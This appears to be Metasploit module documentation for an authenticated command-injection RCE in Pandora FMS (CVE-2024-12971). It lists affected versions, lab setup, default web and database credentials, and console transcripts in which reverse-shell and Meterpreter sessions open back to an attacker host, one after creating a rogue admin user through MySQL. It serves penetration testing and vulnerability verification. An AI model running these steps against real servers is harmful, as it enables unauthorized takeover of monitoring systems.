## Vulnerable Application
Pandora FMS is a monitoring solution that provides full observability for your organization's technology.
This module exploits an command injection vulnerability in the `chromium-path` or `phantomjs-bin` directory
setting at the application settings page of Pandora FMS.
You need have admin access at the Pandora FMS Web application in order to execute this RCE.
This access can be achieved by knowing the admin credentials to access the web application or leveraging a default
password vulnerability in Pandora FMS that allows an attacker to access the Pandora FMS MySQL database,
create a new admin user and gain administrative access to the Pandora FMS Web application.
This attack can be remotely executed over the WAN as long as the MySQL services are exposed to the outside world.
This issue affects Community, Free and Enterprise editions:
 - chromium-path: from v7.0NG.768 through <= v7.0NG.780
 - phantomjs-bin: from v7.0NG.724 through <= v7.0NG.767

Note: use target setting 2 "Tiny Reverse Netcat Command" for versions <= v7.0NG.738

The following releases were tested.

**Pandora FMS Releases:**
* Pandora FMS Community Edition v7.0NG.718 (CentOS 7 ISO image)
* Pandora FMS Community Edition v7.0NG.724 (CentOS 7 ISO image)
* Pandora FMS Community Edition v7.0NG.725 (CentOS 7 ISO image)
* Pandora FMS Community Edition v7.0NG.738 (CentOS 7 ISO image)
* Pandora FMS Community Edition v7.0NG.739 (CentOS 7 ISO image)
* Pandora FMS Community Edition v7.0NG.759 (CentOS 7 ISO image)
* Pandora FMS Community Edition v7.0NG.767 (CentOS 7 ISO image)
* Pandora FMS Community Edition v7.0NG.768 (CentOS 7 ISO image)
* Pandora FMS Community Edition v7.0NG.777-LTS (Ubuntu 22.04)
* Pandora FMS Community Edition v7.0NG.772-LTS (Ubuntu 22.04)

## Installation steps to install Pandora FMS Community, Free or Enterprise Editions
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
* Download [Pandora FMS iso](https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/).
* Install the iso image in your virtualization engine.
* When installed, configure the VM appliance to your needs using the menu options.
* Boot up the VM and should be able to access the Pandora FMS appliance either thru the console, `ssh` on port `22`
* or via the `webui` via `http://your_ip/pandora_console/index.php`.

* Note: from version `v7.0NG.760` follow the installation manual below:
* [Non ISO installation](https://pandorafms.com/manual/!current/en/documentation/pandorafms/installation/01_installing).

You are now ready to test the module.

## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use exploit/linux/http/linux/http/pandora_fms_auth_rce_cve_2024_12971`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ] `set lhost <attacker-ip>`
- [ ] `set target <0=PHP Command, 1=Unix/Linux Command, 2=Tiny Reverse Netcat Command>`
- [ ] `exploit`
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings

## Options

### USERNAME
This option is optional and is the username (default: admin) to authenticate with the Pandora FMS application.

### PASSWORD
This option is optional and is the password (default: pandora) in plain text to authenticate with the Pandora FMS application.

### DB_USER
This option is required and is the username (default: pandora) to authenticate with the Pandora FMS MySQL database.

### DB_PASSWORD
This option is required and is the password (default: Pandor4!) in plain text to authenticate with the Pandora FMS MySQL database.
Note: In older versions, this password is set to `pandora` during installation of the application.

### DB_PORT
This option is required and is the MySQL database port (default: 3306) to connect to the database.

## Scenarios
### Pandora FMS v7.0NG.777 on Ubuntu 22.04 -  PHP Command target
Attack scenario: use the default admin credentials (admin:pandora) of the Pandora FMS application
to gain the privileges for the RCE.
```msf
msf > use exploits/linux/http/pandora_fms_auth_rce_cve_2024_12971
[*] Using configured payload php/meterpreter/reverse_tcp
msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set rhosts 192.168.201.6
rhosts => 192.168.201.6
msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set lhost 192.168.201.8
lhost => 192.168.201.8
msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Found chromium_path RCE. Pandora FMS version v7.0NG.777
[*] Trying to log in with admin credentials admin:pandora at the Pandora FMS Web application.
[*] Succesfully authenticated at the Pandora FMS Web application.
[*] Saving admin credentials at the msf database.
[*] Executing PHP Command for php/meterpreter/reverse_tcp
[*] Sending stage (40004 bytes) to 192.168.201.6
[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.6:51714) at 2025-04-05 11:30:11 +0000
[+] Payload is successful removed from chromium_path path configuration.

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer    : cuckoo
OS          : Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
Meterpreter : php/linux
meterpreter > pwd
/var/www/html/pandora_console
meterpreter >
```
###  Pandora FMS v7.0NG.777 on Ubuntu 22.04 - Unix/Linux Command target
Attack scenario: use the default database credentials (pandora:Pandor4!) to create an admin user in the application
to gain the privileges for the RCE.
```msf
msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set target 1
target => 1
msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set password xxx
password => xxx
msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Found chromium_path RCE. Pandora FMS version v7.0NG.777
[*] Trying to log in with admin credentials admin:xxx at the Pandora FMS Web application.
[*] Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.
[*] Creating new admin user with credentials 39mqge:nmC9AuEJ5M for access at the Pandora FMS Web application.
[*] Trying to log in with new admin credentials 39mqge:nmC9AuEJ5M at the Pandora FMS Web application.
[*] Succesfully authenticated at the Pandora FMS Web application.
[*] Saving admin credentials at the msf database.
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending stage (3045380 bytes) to 192.168.201.6
[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.6:48916) at 2025-04-05 11:33:09 +0000
[+] Payload is successful removed from chromium_path path configuration.

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer     : 192.168.201.6
OS           : Ubuntu 22.04 (Linux 5.15.0-126-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > pwd
/var/www/html/pandora_console
meterpreter >
```
###  Pandora FMS v7.0NG.738 on CentOS 7 - Tiny Netcat Command
Attack scenario: use the payload less then 100 bytes to achieve the RCE.
```msf
msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set password pandora
password => pandora
msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set target 2
target => 2
msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Found phantomjs_bin RCE. Pandora FMS version v7.0NG.738
[*] Trying to log in with admin credentials admin:pandora at the Pandora FMS Web application.
[*] Succesfully authenticated at the Pandora FMS Web application.
[*] Saving admin credentials at the msf database.
[*] Executing Tiny Reverse Netcat Command (use THIS for versions <= v738) for cmd/unix/reverse_netcat_gaping
[*] Command shell session 3 opened (192.168.201.8:4444 -> 192.168.201.6:52784) at 2025-04-05 11:38:47 +0000
[+] Payload is successful removed from phantomjs_bin path configuration.

id
uid=48(apache) gid=48(apache) groups=48(apache)
uname -a
Linux localhost.localdomain 3.10.0-957.5.1.el7.x86_64 #1 SMP Fri Feb 1 14:54:57 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
pwd
/var/www/html/pandora_console
```

## Limitations
In older versions of Pandora FMS, you might run into error 'Unable to login from this host due to policy' if you try to connect
to the MySQL database with the default database credentials.
This is caused by the restrictive host settings at the MySQL database which is default set to `localhost` and `127.0.0.1`.
You can check this with the SQL command below if you have local access to the database.
```
SELECT host FROM mysql.user WHERE user = "pandora";
+-----------+
| host      |
+-----------+
| 127.0.0.1 |
| localhost |
+-----------+
```
In newer versions of Pandora FMS, this has been changed to '%' which allow any host to connect to the database.
Another restriction is the payload size for versions <= v7.0NG.738 where the payload size is restricted to a maximum
of 100 bytes. Please use the `Tiny Netcat Command` option get a reverse shell.
